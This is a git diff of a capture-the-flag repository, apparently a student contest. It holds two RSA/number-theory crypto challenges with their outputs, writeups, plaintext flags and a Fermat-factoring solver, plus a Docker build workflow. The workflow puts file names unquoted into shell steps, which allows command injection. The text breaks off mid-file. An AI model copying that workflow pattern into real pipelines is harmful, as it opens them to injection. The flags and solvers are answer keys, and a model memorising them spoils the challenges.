diff --git a/.github/workflows/docker-compose.yml b/.github/workflows/docker-compose.yml
new file mode 100644
index 0000000..4f6c88e
--- /dev/null
+++ b/.github/workflows/docker-compose.yml
@@ -0,0 +1,54 @@
+name: Docker Image CI
+
+on:
+ push:
+ branches: [ "main" ]
+
+jobs:
+
+ build:
+
+ runs-on: ubuntu-latest
+
+ permissions:
+ contents: read
+ packages: write
+
+ steps:
+ - uses: actions/checkout@v3
+ - name: Get changed files
+ id: changed-files
+ uses: tj-actions/changed-files@v37
+
+ - name: List changed
+ run: |
+ for file in ${{ steps.changed-files.outputs.all_changed_files }}; do
+ echo "$file was changed"
+ done
+
+ - name: Log in to registry
+ # This is where you will update the personal access token to GITHUB_TOKEN
+ run: echo "${{ secrets.GITHUB_TOKEN }}" | docker login ghcr.io -u $ --password-stdin
+
+
+ - name: Build and push the Docker image
+ run: |
+ declare -a built_images=()
+ for file in ${{ steps.changed-files.outputs.all_changed_files }}; do
+ if [[ "$file" =~ ^(Pwn|Web)/[a-zA-Z0-9_-]+/deployment/.+ ]]; then
+ IMAGE_NAME=$(echo -n $file | cut -d "/" -f2)
+ NORM_IMAGE_NAME=$(echo $IMAGE_NAME | tr A-Z a-z | tr - _)
+ CATEGORY=$(echo -n $file | cut -d "/" -f1)
+ if [[ " ${built_images[*]} " != *" $IMAGE_NAME "* ]]; then
+ echo "building and pushing: $CATEGORY/$IMAGE_NAME/deployment/"
+ docker build $CATEGORY/$IMAGE_NAME/deployment/ --tag $NORM_IMAGE_NAME
+ built_images+=("$NORM_IMAGE_NAME")
+ IMAGE_ID=ghcr.io/guzzwho/$NORM_IMAGE_NAME
+ echo "pushing to $IMAGE_ID"
+ VERSION=latest
+ docker tag $NORM_IMAGE_NAME $IMAGE_ID:$VERSION
+ docker push $IMAGE_ID:$VERSION
+ else echo "already built $NORM_IMAGE_NAME"
+ fi
+ fi
+ done
diff --git a/Crypto/Primapocalypse/Handout/Primapocalypse/Primapocalypse.py b/Crypto/Primapocalypse/Handout/Primapocalypse/Primapocalypse.py
new file mode 100644
index 0000000..45032d0
--- /dev/null
+++ b/Crypto/Primapocalypse/Handout/Primapocalypse/Primapocalypse.py
@@ -0,0 +1,21 @@
+from Crypto.Util.number import getPrime, bytes_to_long as b2l
+from sympy import nextprime
+
+flag = b2l(b"inctfj{?????}")
+
+L = [getPrime(2048)]
+for i in range(3):
+ L.append(nextprime(L[-1]))
+
+e = 0x10001
+
+cipher = flag
+for i in range(3):
+ a, b = L[i], L[i + 1]
+ N = a * b
+ cipher = pow(cipher, e, N)
+
+with open('output.txt', 'w') as output_file:
+ output_file.write(f"cipher: {hex(cipher)}\n")
+ output_file.write(f"e: {hex(e)}\n")
+ output_file.write(f"leak: {hex(L[0]*L[3])}, {hex(L[1]*L[2])}\n")
\ No newline at end of file
diff --git a/Crypto/Primapocalypse/Handout/Primapocalypse/output.txt b/Crypto/Primapocalypse/Handout/Primapocalypse/output.txt
new file mode 100644
index 0000000..9aac220
--- /dev/null
+++ b/Crypto/Primapocalypse/Handout/Primapocalypse/output.txt
@@ -0,0 +1,3 @@
+cipher: 0x564f4d70f46f89dc2fa3635a89c2959812d038fa702c62783befdbb24fc02e8a3ea9405eb4fa9f1f7be87123c44858d35fc1544329c12664cb3a90735454ae10a81b317bff2273532be6838e684163cd6f7c6c4ea376ec44bfcb872496bc88938c21fcf30a25d55a661e51cd73748a00a44fe3c5b99ca3d7415bccbbda6175d34881f2f2510d3030dd7fca905e895ff27e7d4468b2926931fc2b7b6911786eff9fcdc9c40d5f0124e8dca814e3e3181e5e91b88d30f607beab25874bc5a47b8c2d5d55b7681efef4f67138c611f5284740689abdcd814e1c9f56f498dfe5990d003dba1ed577fcbfd983a075bee762e375fb25ec95b5dd617e2e5b7b8d00640a51e64da644a7264554ad74b440917760566eae9480113fede3ed97420c6c16610fe8a235b8a3d1870f39cb606781f9b9629159287c5592da5fa17685eabd0797edc69355a4c3bf1dc88d3083d5fec27ca9417fbb84e79613c2efc1510222b2979348e5177339e0e5b0f14635e9b85db82030c95eb2f4c4a8d5add07b3b91edb1a1d5f7a85698333047f841eb46007bc5d26ade3416ad054d44110fe72a4883ff798483c1c8b2fc732b6e3a571d7f5d8802f3020396c20d26580e4ad4aadf3ef9d274870ec4739c5ba37897dfa253b8cc0dd831f255a492e3a088df6e29bcf1f71d1148ec4652715f857df52b7bb8a34acb0554e78959b6f8e64ca92b7f2afc27
+e: 0x10001
+leak: 0x7a759c247b8e820c9b40915addfac71388587db324a55159754f4cad25c32dc7c5b847547777f7affdba42f6fc6b88f4e872893c92d5802248ffe1474f5f93656e1d312f58433adb92ca71af52f410053183c6c6ffd4509fc626e44839c97f2739496832cc7883a416ca48585987e1b0c27e582e60b71339013c6892fdf8b41ce6bbd6737452052e63d35fcbde793814c7ce1816490c8acac7809bcaab4caabda599b2e3b9306018fac24121fb119217432582cb938027f931bf953cd3ed6fa9feeed7ea1f584c8bcb6ad9573f51ffe2cfeb0ad734debb91d720b1b6efbdf784d6dedff6a885b122f8be4ee95075ea17e2377aff79c124c2245a6709564819bf0531d339d0694e1cfcc0effa528729c01fc99322da2f49ff2cca9fd3ac75dac4c96a5839959199df0c838b29bbbffec6622a26ce5aa265fd0b185b6d93848d021e22d5d4e5579cee16056d246a99e76d74e2e09286113987e84d487ed3d245e80acfca91d58201c57408dffa5505d0c3c5e33e18923dde17d0759b081d26552929e8b413262d422677d351fa580cc9049c43edbb371ecb67156d71f2a7ce737216a2c08c89171463c5138f4b0d3ac4e10d8c43f2a52de669ff22a239d10578edd1f62d5b04e148cea88e9036001dddd3bf7a1ec2f7c8ef125582934065579c270da91a8076f3a476a27f5455f1e8664ebe620b483da7d83c0883474d5588e54b, 0x7a759c247b8e820c9b40915addfac71388587db324a55159754f4cad25c32dc7c5b847547777f7affdba42f6fc6b88f4e872893c92d5802248ffe1474f5f93656e1d312f58433adb92ca71af52f410053183c6c6ffd4509fc626e44839c97f2739496832cc7883a416ca48585987e1b0c27e582e60b71339013c6892fdf8b41ce6bbd6737452052e63d35fcbde793814c7ce1816490c8acac7809bcaab4caabda599b2e3b9306018fac24121fb119217432582cb938027f931bf953cd3ed6fa9feeed7ea1f584c8bcb6ad9573f51ffe2cfeb0ad734debb91d720b1b6efbdf784d6dedff6a885b122f8be4ee95075ea17e2377aff79c124c2245a670956481a3ce5c9f8dfe8a8c8d3852c561f58d948ee6da1a63dd53295d90026b47c9b907c954079c28593f62662a76f1c3bf82b6543963c5053d5091d83a514d9a50348585f99f5c01c6808c0080cafd6f7bd8dcf11c1b2bc19502418e92cbf24069ef7b465d31b22a793d53d35fd72a138d125c1b8e31a8cbee85f0ffa3d0a4aafa9aa71809a7e747065d53ad8c11b6ddab6ee75b52a55f7cefe379a07a33f38c2925ef2c91b7f56bd767f012b2b2bf382a9df09b6abee1f9f6ed70f211c920429476657ade2229ab2824d5e605e461e2145b6be87a7a7f325d3f3f9b6631e3105405d3231221bf24a072c2be7f2c7562d8ab7b40eb9263de5cd6e8142d8e7d50fcd3df0a1
diff --git a/Crypto/Primapocalypse/Handout/chall.zip b/Crypto/Primapocalypse/Handout/chall.zip
new file mode 100644
index 0000000..d96af5b
Binary files /dev/null and b/Crypto/Primapocalypse/Handout/chall.zip differ
diff --git a/Crypto/Primapocalypse/README.md b/Crypto/Primapocalypse/README.md
new file mode 100644
index 0000000..44d66b9
--- /dev/null
+++ b/Crypto/Primapocalypse/README.md
@@ -0,0 +1,27 @@
+# Primapocalypse
+
+### Challenge Description
+I was a bit lazy to generate 4 primes but at least the bit length is large right...?
+
+**Challenge File**
++ [Primary Link](./Handout/chall.zip)
++ [Mirror Link]()
+
+**MD5 Hash**: 31bab32c4988a357aa8668f75affeef0
+
+### Short Writeup
++ This RSA challenge involves generating a 2048 bit prime as well as the next three primes after that one.
++ The flag goes through 3 rounds of RSA encryption with N being the product of the first and the second prime and in the next round N is the product of the second and third prime and so on.
++ The ciphertext, e and the product of the first and last prime as well as the product of the 2nd and 3rd prime is written to a file.
+
+Solving this challenge involves factoring the two products given with the fermat's factoring algorithm (since the primes are close together).
+Since primes are generated in a successive manner, the factored values must be sorted and then the decryption can be done by considering the last two values first.
+
+### Flag
+
+inctfj{n0t_4_t0u4h_p51me_1s_i7}
+
+### Author
+
+**Ankith**
+**Devanandan**
\ No newline at end of file
diff --git a/Crypto/Primapocalypse/admin/exploit/output.txt b/Crypto/Primapocalypse/admin/exploit/output.txt
new file mode 100644
index 0000000..9aac220
--- /dev/null
+++ b/Crypto/Primapocalypse/admin/exploit/output.txt
@@ -0,0 +1,3 @@
+cipher: 0x564f4d70f46f89dc2fa3635a89c2959812d038fa702c62783befdbb24fc02e8a3ea9405eb4fa9f1f7be87123c44858d35fc1544329c12664cb3a90735454ae10a81b317bff2273532be6838e684163cd6f7c6c4ea376ec44bfcb872496bc88938c21fcf30a25d55a661e51cd73748a00a44fe3c5b99ca3d7415bccbbda6175d34881f2f2510d3030dd7fca905e895ff27e7d4468b2926931fc2b7b6911786eff9fcdc9c40d5f0124e8dca814e3e3181e5e91b88d30f607beab25874bc5a47b8c2d5d55b7681efef4f67138c611f5284740689abdcd814e1c9f56f498dfe5990d003dba1ed577fcbfd983a075bee762e375fb25ec95b5dd617e2e5b7b8d00640a51e64da644a7264554ad74b440917760566eae9480113fede3ed97420c6c16610fe8a235b8a3d1870f39cb606781f9b9629159287c5592da5fa17685eabd0797edc69355a4c3bf1dc88d3083d5fec27ca9417fbb84e79613c2efc1510222b2979348e5177339e0e5b0f14635e9b85db82030c95eb2f4c4a8d5add07b3b91edb1a1d5f7a85698333047f841eb46007bc5d26ade3416ad054d44110fe72a4883ff798483c1c8b2fc732b6e3a571d7f5d8802f3020396c20d26580e4ad4aadf3ef9d274870ec4739c5ba37897dfa253b8cc0dd831f255a492e3a088df6e29bcf1f71d1148ec4652715f857df52b7bb8a34acb0554e78959b6f8e64ca92b7f2afc27
+e: 0x10001
+leak: 0x7a759c247b8e820c9b40915addfac71388587db324a55159754f4cad25c32dc7c5b847547777f7affdba42f6fc6b88f4e872893c92d5802248ffe1474f5f93656e1d312f58433adb92ca71af52f410053183c6c6ffd4509fc626e44839c97f2739496832cc7883a416ca48585987e1b0c27e582e60b71339013c6892fdf8b41ce6bbd6737452052e63d35fcbde793814c7ce1816490c8acac7809bcaab4caabda599b2e3b9306018fac24121fb119217432582cb938027f931bf953cd3ed6fa9feeed7ea1f584c8bcb6ad9573f51ffe2cfeb0ad734debb91d720b1b6efbdf784d6dedff6a885b122f8be4ee95075ea17e2377aff79c124c2245a6709564819bf0531d339d0694e1cfcc0effa528729c01fc99322da2f49ff2cca9fd3ac75dac4c96a5839959199df0c838b29bbbffec6622a26ce5aa265fd0b185b6d93848d021e22d5d4e5579cee16056d246a99e76d74e2e09286113987e84d487ed3d245e80acfca91d58201c57408dffa5505d0c3c5e33e18923dde17d0759b081d26552929e8b413262d422677d351fa580cc9049c43edbb371ecb67156d71f2a7ce737216a2c08c89171463c5138f4b0d3ac4e10d8c43f2a52de669ff22a239d10578edd1f62d5b04e148cea88e9036001dddd3bf7a1ec2f7c8ef125582934065579c270da91a8076f3a476a27f5455f1e8664ebe620b483da7d83c0883474d5588e54b, 0x7a759c247b8e820c9b40915addfac71388587db324a55159754f4cad25c32dc7c5b847547777f7affdba42f6fc6b88f4e872893c92d5802248ffe1474f5f93656e1d312f58433adb92ca71af52f410053183c6c6ffd4509fc626e44839c97f2739496832cc7883a416ca48585987e1b0c27e582e60b71339013c6892fdf8b41ce6bbd6737452052e63d35fcbde793814c7ce1816490c8acac7809bcaab4caabda599b2e3b9306018fac24121fb119217432582cb938027f931bf953cd3ed6fa9feeed7ea1f584c8bcb6ad9573f51ffe2cfeb0ad734debb91d720b1b6efbdf784d6dedff6a885b122f8be4ee95075ea17e2377aff79c124c2245a670956481a3ce5c9f8dfe8a8c8d3852c561f58d948ee6da1a63dd53295d90026b47c9b907c954079c28593f62662a76f1c3bf82b6543963c5053d5091d83a514d9a50348585f99f5c01c6808c0080cafd6f7bd8dcf11c1b2bc19502418e92cbf24069ef7b465d31b22a793d53d35fd72a138d125c1b8e31a8cbee85f0ffa3d0a4aafa9aa71809a7e747065d53ad8c11b6ddab6ee75b52a55f7cefe379a07a33f38c2925ef2c91b7f56bd767f012b2b2bf382a9df09b6abee1f9f6ed70f211c920429476657ade2229ab2824d5e605e461e2145b6be87a7a7f325d3f3f9b6631e3105405d3231221bf24a072c2be7f2c7562d8ab7b40eb9263de5cd6e8142d8e7d50fcd3df0a1
diff --git a/Crypto/Primapocalypse/admin/exploit/solver.py b/Crypto/Primapocalypse/admin/exploit/solver.py
new file mode 100644
index 0000000..d9d048b
--- /dev/null
+++ b/Crypto/Primapocalypse/admin/exploit/solver.py
@@ -0,0 +1,38 @@
+from gmpy2 import isqrt
+from gmpy2 import is_square
+from Crypto.Util.number import long_to_bytes
+
+with open('output.txt', 'r') as output_file:
+ cipher = int(output_file.readline().lstrip("cipher: "), 16)
+ e = int(output_file.readline().lstrip("e: "), 16)
+ leak = output_file.readline().lstrip("leak: ")
+
+N1, N2 = leak.split(", ")
+N1 = int(N1, 16)
+N2 = int(N2, 16)
+
+def factor(n):
+ a = isqrt(n)
+ b2 = a**2 - n
+
+ while not is_square(b2):
+ b2 += 2*a + 1
+ a += 1
+
+ p = int(a - isqrt(b2))
+ q = int(a + isqrt(b2))
+
+ assert p * q == n
+ return p, q
+
+L = sorted(factor(N2) + factor(N1), reverse=True)
+e = 0x10001
+
+for i in range(3):
+ p, q = L[i], L[i+1]
+ N = p*q
+ phi = (p-1)*(q-1)
+ d = pow(e,-1, phi)
+ cipher = pow(cipher, d, N)
+
+print(long_to_bytes(cipher).decode())
\ No newline at end of file
diff --git a/Crypto/Primapocalypse/admin/src/challenge.py b/Crypto/Primapocalypse/admin/src/challenge.py
new file mode 100644
index 0000000..aba2364
--- /dev/null
+++ b/Crypto/Primapocalypse/admin/src/challenge.py
@@ -0,0 +1,21 @@
+from Crypto.Util.number import getPrime, bytes_to_long as b2l
+from sympy import nextprime
+
+flag = b2l(b"inctfj{n0t_4_t0u4h_p51me_1s_i7}")
+
+L = [getPrime(2048)]
+for i in range(3):
+ L.append(nextprime(L[-1]))
+
+e = 0x10001
+
+cipher = flag
+for i in range(3):
+ a, b = L[i], L[i + 1]
+ N = a * b
+ cipher = pow(cipher, e, N)
+
+with open('output.txt', 'w') as output_file:
+ output_file.write(f"cipher: {hex(cipher)}\n")
+ output_file.write(f"e: {hex(e)}\n")
+ output_file.write(f"leak: {hex(L[0]*L[3])}, {hex(L[1]*L[2])}\n")
\ No newline at end of file
diff --git a/Crypto/Primapocalypse/admin/src/output.txt b/Crypto/Primapocalypse/admin/src/output.txt
new file mode 100644
index 0000000..9aac220
--- /dev/null
+++ b/Crypto/Primapocalypse/admin/src/output.txt
@@ -0,0 +1,3 @@
+cipher: 0x564f4d70f46f89dc2fa3635a89c2959812d038fa702c62783befdbb24fc02e8a3ea9405eb4fa9f1f7be87123c44858d35fc1544329c12664cb3a90735454ae10a81b317bff2273532be6838e684163cd6f7c6c4ea376ec44bfcb872496bc88938c21fcf30a25d55a661e51cd73748a00a44fe3c5b99ca3d7415bccbbda6175d34881f2f2510d3030dd7fca905e895ff27e7d4468b2926931fc2b7b6911786eff9fcdc9c40d5f0124e8dca814e3e3181e5e91b88d30f607beab25874bc5a47b8c2d5d55b7681efef4f67138c611f5284740689abdcd814e1c9f56f498dfe5990d003dba1ed577fcbfd983a075bee762e375fb25ec95b5dd617e2e5b7b8d00640a51e64da644a7264554ad74b440917760566eae9480113fede3ed97420c6c16610fe8a235b8a3d1870f39cb606781f9b9629159287c5592da5fa17685eabd0797edc69355a4c3bf1dc88d3083d5fec27ca9417fbb84e79613c2efc1510222b2979348e5177339e0e5b0f14635e9b85db82030c95eb2f4c4a8d5add07b3b91edb1a1d5f7a85698333047f841eb46007bc5d26ade3416ad054d44110fe72a4883ff798483c1c8b2fc732b6e3a571d7f5d8802f3020396c20d26580e4ad4aadf3ef9d274870ec4739c5ba37897dfa253b8cc0dd831f255a492e3a088df6e29bcf1f71d1148ec4652715f857df52b7bb8a34acb0554e78959b6f8e64ca92b7f2afc27
+e: 0x10001
+leak: 0x7a759c247b8e820c9b40915addfac71388587db324a55159754f4cad25c32dc7c5b847547777f7affdba42f6fc6b88f4e872893c92d5802248ffe1474f5f93656e1d312f58433adb92ca71af52f410053183c6c6ffd4509fc626e44839c97f2739496832cc7883a416ca48585987e1b0c27e582e60b71339013c6892fdf8b41ce6bbd6737452052e63d35fcbde793814c7ce1816490c8acac7809bcaab4caabda599b2e3b9306018fac24121fb119217432582cb938027f931bf953cd3ed6fa9feeed7ea1f584c8bcb6ad9573f51ffe2cfeb0ad734debb91d720b1b6efbdf784d6dedff6a885b122f8be4ee95075ea17e2377aff79c124c2245a6709564819bf0531d339d0694e1cfcc0effa528729c01fc99322da2f49ff2cca9fd3ac75dac4c96a5839959199df0c838b29bbbffec6622a26ce5aa265fd0b185b6d93848d021e22d5d4e5579cee16056d246a99e76d74e2e09286113987e84d487ed3d245e80acfca91d58201c57408dffa5505d0c3c5e33e18923dde17d0759b081d26552929e8b413262d422677d351fa580cc9049c43edbb371ecb67156d71f2a7ce737216a2c08c89171463c5138f4b0d3ac4e10d8c43f2a52de669ff22a239d10578edd1f62d5b04e148cea88e9036001dddd3bf7a1ec2f7c8ef125582934065579c270da91a8076f3a476a27f5455f1e8664ebe620b483da7d83c0883474d5588e54b, 0x7a759c247b8e820c9b40915addfac71388587db324a55159754f4cad25c32dc7c5b847547777f7affdba42f6fc6b88f4e872893c92d5802248ffe1474f5f93656e1d312f58433adb92ca71af52f410053183c6c6ffd4509fc626e44839c97f2739496832cc7883a416ca48585987e1b0c27e582e60b71339013c6892fdf8b41ce6bbd6737452052e63d35fcbde793814c7ce1816490c8acac7809bcaab4caabda599b2e3b9306018fac24121fb119217432582cb938027f931bf953cd3ed6fa9feeed7ea1f584c8bcb6ad9573f51ffe2cfeb0ad734debb91d720b1b6efbdf784d6dedff6a885b122f8be4ee95075ea17e2377aff79c124c2245a670956481a3ce5c9f8dfe8a8c8d3852c561f58d948ee6da1a63dd53295d90026b47c9b907c954079c28593f62662a76f1c3bf82b6543963c5053d5091d83a514d9a50348585f99f5c01c6808c0080cafd6f7bd8dcf11c1b2bc19502418e92cbf24069ef7b465d31b22a793d53d35fd72a138d125c1b8e31a8cbee85f0ffa3d0a4aafa9aa71809a7e747065d53ad8c11b6ddab6ee75b52a55f7cefe379a07a33f38c2925ef2c91b7f56bd767f012b2b2bf382a9df09b6abee1f9f6ed70f211c920429476657ade2229ab2824d5e605e461e2145b6be87a7a7f325d3f3f9b6631e3105405d3231221bf24a072c2be7f2c7562d8ab7b40eb9263de5cd6e8142d8e7d50fcd3df0a1
diff --git a/Crypto/README.md b/Crypto/README.md
new file mode 100644
index 0000000..82d8fef
--- /dev/null
+++ b/Crypto/README.md
@@ -0,0 +1,9 @@
+# Crypto
+
+
+| Challenge | Author | Difficulty |
+| ----------- | ----------- | ----------- |
+|bragcrid|Parvathy|Easy|
+|Primapocalypse|Ankith, Devanand|Medium|
+|Sums_n_Diffs|Ankith, Devanand|Medium|
+|beginner|Sans|Hard|
diff --git a/Crypto/Sums_n_Diffs/Handout/Sums_n_Diffs/Sums_n_Diffs.py b/Crypto/Sums_n_Diffs/Handout/Sums_n_Diffs/Sums_n_Diffs.py
new file mode 100644
index 0000000..380b7d2
--- /dev/null
+++ b/Crypto/Sums_n_Diffs/Handout/Sums_n_Diffs/Sums_n_Diffs.py
@@ -0,0 +1,30 @@
+flag = "inctfj{?????}"
+flag = list(flag.encode())
+
+def product(arr):
+ product = 1
+ for num in arr:
+ product *= num
+ return product
+
+def generatePs(arr):
+ Ps = []
+ for i in range(len(arr)):
+ Ps.append(product(arr[:i] + arr[i+1:]))
+ return Ps
+
+def generateDs(Ps, P):
+ Ds = []
+ for i in range(len(Ps)):
+ Ds.append(P - Ps[i])
+ return Ds
+
+P = product(flag)
+Ps = generatePs(flag)
+Ds = generateDs(Ps, P)
+
+out = [hex(Ps[i] * Ds[i]) for i in range(len(flag))]
+
+with open('output.txt', 'w') as output_file:
+ output_file.write(f"P: {hex(P)}\n")
+ output_file.write(f"Out: {out}\n")
\ No newline at end of file
diff --git a/Crypto/Sums_n_Diffs/Handout/Sums_n_Diffs/output.txt b/Crypto/Sums_n_Diffs/Handout/Sums_n_Diffs/output.txt
new file mode 100644
index 0000000..8bc884e
--- /dev/null
+++ b/Crypto/Sums_n_Diffs/Handout/Sums_n_Diffs/output.txt
@@ -0,0 +1,2 @@
+P: 0x45a0329fce551659417d40ab7b4860711bb82be95b102000000
+Out: ['0x2dbab510cbc3dc98cfa31154fc18584d10369fe17b0f352c2a7547bd4dd432c6ab49ddaf46e51c2186eb47a0000000000000', '0x2bab77dda2486be1e5fafc7276dd5f300030aa53f6c35e9ccbc29a28ab3e85a03be502263fb0779805ab4add000000000000', '0x3078f81a1bac45c258aa7e97ee523dfd33e8e3cc565c1e35b59a814d3d4f1c8ac54030151d601a0b2e381d48000000000000', '0x296e4020e24081ab29514ce08123a29981d2e685dce07bf8d800bbe71c5b9106986d64649f9910be634a3536c00000000000', '0x2f0f9d368681c73c1ea4d3185b23e9e15035eebc7a60bc02155615bcf22f2990b7aa5a9c84739d0df366d0dd000000000000', '0x2d4d518d647c98ed6a13a8689436365d28d67d012502faf32592016365708155a7dcf3ecf64334c2f18dedf1000000000000', '0x271797c1e950793da20085219eaaa1487343d75b6579e894ee32920ce5b27c5dc3e48a84b69c3b67de6f5e28000000000000', '0x2a85519ed88d5be9342a62e37f97077edcbe3cbe07265ec05fff5d3c81ade1d5d1f527bdc4b02b83584d79c0000000000000', '0x2914615d12f843089e9c6c85b47cd97e13e1296bc9f2213507a6a5696e5ae94aca19765fdc1e30593bd9fc50000000000000', '0x5b6ee0fbb638d882c571670fa9dbf415b8a927a42ff6ebd78c7a3945022cd4376daf91d138f680da797d989ec00000000000', '0x2ffe220d568a2a474a9a6e5b2129d2163e6685a3e89a417bfb8ce4eeed0c15f42ea8a77e71d1bdf5d1ff3544c00000000000', '0x2a26adbbb7520d5bea9446377080f7ced8f30bb7693c63c82e078f02162284c0906510f687eb46b5abced0c1000000000000', '0x5b6ee0fbb638d882c571670fa9dbf415b8a927a42ff6ebd78c7a3945022cd4376daf91d138f680da797d989ec00000000000', '0x296e4020e24081ab29514ce08123a29981d2e685dce07bf8d800bbe71c5b9106986d64649f9910be634a3536c00000000000', '0x60ea221857d423e3cdbfab5ce6717c0a9aed229c5b34b9d4f5e9aef20c3a4770cbde0d4742412f28e9b0b8c0000000000000', '0x3078f81a1bac45c258aa7e97ee523dfd33e8e3cc565c1e35b59a814d3d4f1c8ac54030151d601a0b2e381d48000000000000', '0x327de568109b8f52a58c3039b5cc0e791773ca4061c94a7d10fca3b1aab0bc04d81a187cf2ebfa71c503b378000000000000', '0x2f0f9d368681c73c1ea4d3185b23e9e15035eebc7a60bc02155615bcf22f2990b7aa5a9c84739d0df366d0dd000000000000', '0x62e404b16d6a731808c9f473b1e460917f5247d78a2fa09c9d8c23efb10724b0605b8dd99b8d65c92823f88ddc0000000000', '0x2a26adbbb7520d5bea9446377080f7ced8f30bb7693c63c82e078f02162284c0906510f687eb46b5abced0c1000000000000', '0x2c11152330ca8d2f1475dc7d41b20cb5927e9fd3df3dd93a081c270b4c2e20ecee8727eb984535ca754a4e30000000000000', '0x2914615d12f843089e9c6c85b47cd97e13e1296bc9f2213507a6a5696e5ae94aca19765fdc1e30593bd9fc50000000000000', '0x60ea221857d423e3cdbfab5ce6717c0a9aed229c5b34b9d4f5e9aef20c3a4770cbde0d4742412f28e9b0b8c0000000000000', '0x5b6ee0fbb638d882c571670fa9dbf415b8a927a42ff6ebd78c7a3945022cd4376daf91d138f680da797d989ec00000000000', '0x327de568109b8f52a58c3039b5cc0e791773ca4061c94a7d10fca3b1aab0bc04d81a187cf2ebfa71c503b378000000000000', '0x2a26adbbb7520d5bea9446377080f7ced8f30bb7693c63c82e078f02162284c0906510f687eb46b5abced0c1000000000000', '0x2914615d12f843089e9c6c85b47cd97e13e1296bc9f2213507a6a5696e5ae94aca19765fdc1e30593bd9fc50000000000000', '0x2c788f97cec20f4f996fddc1d8b4b456242431ca6f3b01f4cb747af1dfd94071becc93711f4933c1f2fbef78c00000000000', '0x5d30a95f4c405a5db3cf41b17f3f8316e0bbe7f3f4ddf8186714ebade9b61a8b8f2dd972c46122b8c61a2b88000000000000', '0x29c9ab788e92d8471b8c676ba2b0b1ff650a1f472b1c54c369a7d49b2f281a0981e3c876e53cc6c6ef121888000000000000', '0x2678c3462aaf815c6b620a0f55a5322effdb06e67b5cef16bddaf69c90ec6a8d557fda26adc7ae198f33ce70000000000000']
diff --git a/Crypto/Sums_n_Diffs/Handout/chall.zip b/Crypto/Sums_n_Diffs/Handout/chall.zip
new file mode 100644
index 0000000..eb9bcc6
Binary files /dev/null and b/Crypto/Sums_n_Diffs/Handout/chall.zip differ
diff --git a/Crypto/Sums_n_Diffs/README.md b/Crypto/Sums_n_Diffs/README.md
new file mode 100644
index 0000000..17218ad
--- /dev/null
+++ b/Crypto/Sums_n_Diffs/README.md
@@ -0,0 +1,39 @@
+# Sums_n_Diffs
+
+### Challenge Description
+polynomials... polynomials...
+
+**Challenge File**
++ [Primary Link](./Handout/chall.zip)
++ [Mirror Link]()
+
+**MD5 Hash**: 659500611fbaea0929833cc504b110af
+
+### Short Writeup
+
++ The ascii value of each byte in the flag is taken and the product P of all of these values is calculated.
++ Then, a list with values `Pi` where each value is the total product divided by the ascii value of the ith byte of the flag, is created.
++ Next, a list with values `Di` where each value is `P-Pi` for every ith byte of the flag, is created.
++ Finally, a list with the values `Pi * Di` is created.
++ The value of P as well as the product list is written to a flag.
+
+This challenge can be solved using the quadratic equation.
+We have:
+```
+Di = P-Pi
+prod = Pi * Di
+prod = Pi * (P-Pi)
+prod = Pi*P - Pi^2
+Pi^2 - Pi*P + prod = 0
+```
+Since prod and P is known, each Pi can be calculated by finding the root of the equation.
+Calculating P/Pi gives each byte of the flag.
+
+### Flag
+
+inctfj{qu4dr4t1c_f0rmu14_rul3s}
+
+### Authors
+
+**Ankith**
+**Devanandan**
\ No newline at end of file
diff --git a/Crypto/Sums_n_Diffs/admin/exploit/output.txt b/Crypto/Sums_n_Diffs/admin/exploit/output.txt
new file mode 100644
index 0000000..8bc884e
--- /dev/null
+++ b/Crypto/Sums_n_Diffs/admin/exploit/output.txt
@@ -0,0 +1,2 @@
+P: 0x45a0329fce551659417d40ab7b4860711bb82be95b102000000
+Out: ['0x2dbab510cbc3dc98cfa31154fc18584d10369fe17b0f352c2a7547bd4dd432c6ab49ddaf46e51c2186eb47a0000000000000', '0x2bab77dda2486be1e5fafc7276dd5f300030aa53f6c35e9ccbc29a28ab3e85a03be502263fb0779805ab4add000000000000', '0x3078f81a1bac45c258aa7e97ee523dfd33e8e3cc565c1e35b59a814d3d4f1c8ac54030151d601a0b2e381d48000000000000', '0x296e4020e24081ab29514ce08123a29981d2e685dce07bf8d800bbe71c5b9106986d64649f9910be634a3536c00000000000', '0x2f0f9d368681c73c1ea4d3185b23e9e15035eebc7a60bc02155615bcf22f2990b7aa5a9c84739d0df366d0dd000000000000', '0x2d4d518d647c98ed6a13a8689436365d28d67d012502faf32592016365708155a7dcf3ecf64334c2f18dedf1000000000000', '0x271797c1e950793da20085219eaaa1487343d75b6579e894ee32920ce5b27c5dc3e48a84b69c3b67de6f5e28000000000000', '0x2a85519ed88d5be9342a62e37f97077edcbe3cbe07265ec05fff5d3c81ade1d5d1f527bdc4b02b83584d79c0000000000000', '0x2914615d12f843089e9c6c85b47cd97e13e1296bc9f2213507a6a5696e5ae94aca19765fdc1e30593bd9fc50000000000000', '0x5b6ee0fbb638d882c571670fa9dbf415b8a927a42ff6ebd78c7a3945022cd4376daf91d138f680da797d989ec00000000000', '0x2ffe220d568a2a474a9a6e5b2129d2163e6685a3e89a417bfb8ce4eeed0c15f42ea8a77e71d1bdf5d1ff3544c00000000000', '0x2a26adbbb7520d5bea9446377080f7ced8f30bb7693c63c82e078f02162284c0906510f687eb46b5abced0c1000000000000', '0x5b6ee0fbb638d882c571670fa9dbf415b8a927a42ff6ebd78c7a3945022cd4376daf91d138f680da797d989ec00000000000', '0x296e4020e24081ab29514ce08123a29981d2e685dce07bf8d800bbe71c5b9106986d64649f9910be634a3536c00000000000', '0x60ea221857d423e3cdbfab5ce6717c0a9aed229c5b34b9d4f5e9aef20c3a4770cbde0d4742412f28e9b0b8c0000000000000', '0x3078f81a1bac45c258aa7e97ee523dfd33e8e3cc565c1e35b59a814d3d4f1c8ac54030151d601a0b2e381d48000000000000', '0x327de568109b8f52a58c3039b5cc0e791773ca4061c94a7d10fca3b1aab0bc04d81a187cf2ebfa71c503b378000000000000', '0x2f0f9d368681c73c1ea4d3185b23e9e15035eebc7a60bc02155615bcf22f2990b7aa5a9c84739d0df366d0dd000000000000', '0x62e404b16d6a731808c9f473b1e460917f5247d78a2fa09c9d8c23efb10724b0605b8dd99b8d65c92823f88ddc0000000000', '0x2a26adbbb7520d5bea9446377080f7ced8f30bb7693c63c82e078f02162284c0906510f687eb46b5abced0c1000000000000', '0x2c11152330ca8d2f1475dc7d41b20cb5927e9fd3df3dd93a081c270b4c2e20ecee8727eb984535ca754a4e30000000000000', '0x2914615d12f843089e9c6c85b47cd97e13e1296bc9f2213507a6a5696e5ae94aca19765fdc1e30593bd9fc50000000000000', '0x60ea221857d423e3cdbfab5ce6717c0a9aed229c5b34b9d4f5e9aef20c3a4770cbde0d4742412f28e9b0b8c0000000000000', 